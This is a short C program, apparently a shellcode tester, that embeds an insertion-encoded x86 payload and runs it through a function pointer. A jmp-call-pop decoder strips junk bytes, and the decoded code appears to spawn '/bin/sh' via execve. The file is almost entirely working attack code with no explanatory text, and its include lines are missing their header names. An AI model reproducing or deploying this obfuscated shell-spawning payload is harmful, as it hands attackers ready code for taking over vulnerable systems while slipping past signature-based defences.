#include #include unsigned char code[] = "\xeb\x22\x5e\x31\xc9\x8a\x06\x46\x3c\x37\x74\xf9\x3c\xfa\x74\xf5\x3c\xd6\x74\xf1\x3c\x3f\x74\xed\x3c\xaf\x74\x06\x88\x04\x0c\x41\xeb\xe3\xff\xd4\xe8\xd9\xff\xff\xff\x31\xFA\xc0\x3F\xb0\xFA\x0b\xFA\x31\xFA\xd2\xFA\x52\xD6\x68\xD6\x6e\xFA\x2f\x37\x73\xD6\x68\x3F\x68\x37\x2f\x3F\x2f\x3F\x62\x37\x69\xD6\x89\x37\xe3\xFA\x52\xD6\x53\xD6\x89\xFA\xe1\xD6\x52\xD6\x89\x37\xe2\xFA\xcd\xFA\x80\x37\x31\xFA\xc0\x37\xb0\xD6\x01\xD6\x31\x3F\xdb\x3F\xcd\x3F\x80\x37\xAF"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }